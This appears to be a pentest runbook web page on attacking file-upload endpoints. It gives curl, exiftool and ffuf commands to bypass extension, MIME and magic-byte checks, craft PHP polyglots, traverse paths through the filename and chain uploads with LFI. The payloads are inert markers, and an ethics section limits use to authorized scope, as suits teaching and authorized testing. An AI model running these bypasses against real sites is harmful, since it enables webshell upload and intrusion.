Webupdated Oct 1, 2026

File Upload

Bypassing extension, content-type and magic-byte checks, filename traversal, web-accessible dirs, polyglots, and chaining uploads with LFI.

toolbox:burp suiteexiftool

A file upload runbook for authorized pentests / bug bounty on in-scope targets only. Goal: map each validation layer, find a bypass, and prove impact with an inert marker file rather than a live webshell.

1. Map the validation layers

Upload a baseline file and observe every response — extension, MIME, size, and content checks.

# Baseline benign upload
curl -s -D - -b "session=YOURTOKEN" -F "file=@test.png" "https://target.com/upload"

# Compare rejections across file types
for ext in png jpg php phtml php5 jsp aspx; do
  cp test.png "test.$ext"
  code=$(curl -s -o /dev/null -w "%{http_code}" -b "session=YOURTOKEN" -F "file=@test.$ext" "https://target.com/upload")
  echo "$code test.$ext"
done

2. Probe extension bypasses

# Alternative extensions and case tricks
for ext in php phtml php3 php4 php5 php7 phps pht phar inc; do
  cp payload.png "shell.$ext"
  echo "$(curl -s -o /dev/null -w '%{http_code}' -b 'session=YOURTOKEN' -F "file=@shell.$ext" 'https://target.com/upload') shell.$ext"
done

# Double extension and trailing characters
for name in shell.php.png shell.php%00.png shell.php. shell.php.. shell.pHp $'shell.php\x00.png'; do
  cp payload.png "$name"
  echo "$(curl -s -o /dev/null -w '%{http_code}' -b 'session=YOURTOKEN' -F "file=@$name" 'https://target.com/upload') $name"
done

3. Bypass content-type and magic bytes

# Fake the MIME type
curl -s -D - -b "session=YOURTOKEN" \
  -F "file=@shell.php;type=image/png" "https://target.com/upload"

# Prepend a valid magic byte to a script
printf '\x89PNG\r\n\x1a\n<?php echo "MARKER"; ?>' > polyglot.png
curl -s -b "session=YOURTOKEN" -F "file=@polyglot.png;type=image/png" "https://target.com/upload"

4. Polyglot and metadata payloads

# Valid image that also parses as script (exiftool-driven)
exiftool -Comment='<?php echo "MARKER"; ?>' cover.jpg
cp cover.jpg polyglot.php.jpg
curl -s -b "session=YOURTOKEN" -F "file=@polyglot.php.jpg;type=image/jpeg" "https://target.com/upload"

# Check what the server kept
exiftool uploaded_file 2>/dev/null | grep -i comment

5. Filename traversal and web-accessible paths

# Traverse out of the upload dir (only if writable/dir listing revealed)
curl -s -b "session=YOURTOKEN" \
  -F "file=@marker.txt;filename=../../../../var/www/html/marker.txt" "https://target.com/upload"

# Locate where uploads are served
curl -s "https://target.com/uploads/" | head
for p in /uploads/ /files/ /media/ /static/uploads/; do
  echo "$(curl -s -o /dev/null -w '%{http_code}' "https://target.com${p}marker.txt") $p"
done

6. Fuzz and chain with LFI

# Fuzz the upload endpoint itself
ffuf -u "https://target.com/upload" -X POST -H "Cookie: session=YOURTOKEN" \
  -F "file=@payload.png;filename=FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-extensions.txt -mc all

# If an LFI exists elsewhere, chain the uploaded file
curl -s "https://target.com/?page=../../../../var/www/html/uploads/polyglot.png" | head

Full pipeline

# 1. Baseline and layer mapping
curl -s -D - -b "session=YOURTOKEN" -F "file=@test.png" "https://target.com/upload"
for ext in png jpg php phtml jsp aspx; do cp test.png "test.$ext"; echo "$(curl -s -o /dev/null -w '%{http_code}' -b 'session=YOURTOKEN' -F "file=@test.$ext" 'https://target.com/upload') test.$ext"; done

# 2. Extension bypasses
for ext in php phtml php5 pht phar; do cp payload.png "shell.$ext"; echo "$(curl -s -o /dev/null -w '%{http_code}' -b 'session=YOURTOKEN' -F "file=@shell.$ext" 'https://target.com/upload') shell.$ext"; done

# 3. Content-type and magic bytes
curl -s -D - -b "session=YOURTOKEN" -F "file=@shell.php;type=image/png" "https://target.com/upload"
printf '\x89PNG\r\n\x1a\n<?php echo "MARKER"; ?>' > polyglot.png

# 4. Metadata polyglot
exiftool -Comment='<?php echo "MARKER"; ?>' cover.jpg

# 5. Traversal and served paths
curl -s -b "session=YOURTOKEN" -F "file=@marker.txt;filename=../../../../var/www/html/marker.txt" "https://target.com/upload"
for p in /uploads/ /files/ /media/ /static/uploads/; do echo "$(curl -s -o /dev/null -w '%{http_code}' "https://target.com${p}marker.txt") $p"; done

# 6. Fuzz and chain
ffuf -u "https://target.com/upload" -X POST -H "Cookie: session=YOURTOKEN" -F "file=@payload.png;filename=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-extensions.txt -mc all

Ethics & legality

  • Only upload to endpoints within the authorized scope and use accounts you own.
  • Use inert marker files; never deploy a functional webshell or persistence.
  • Remove uploaded test files if the program expects cleanup.
  • Preserve the upload request, server path, and retrieval response as evidence.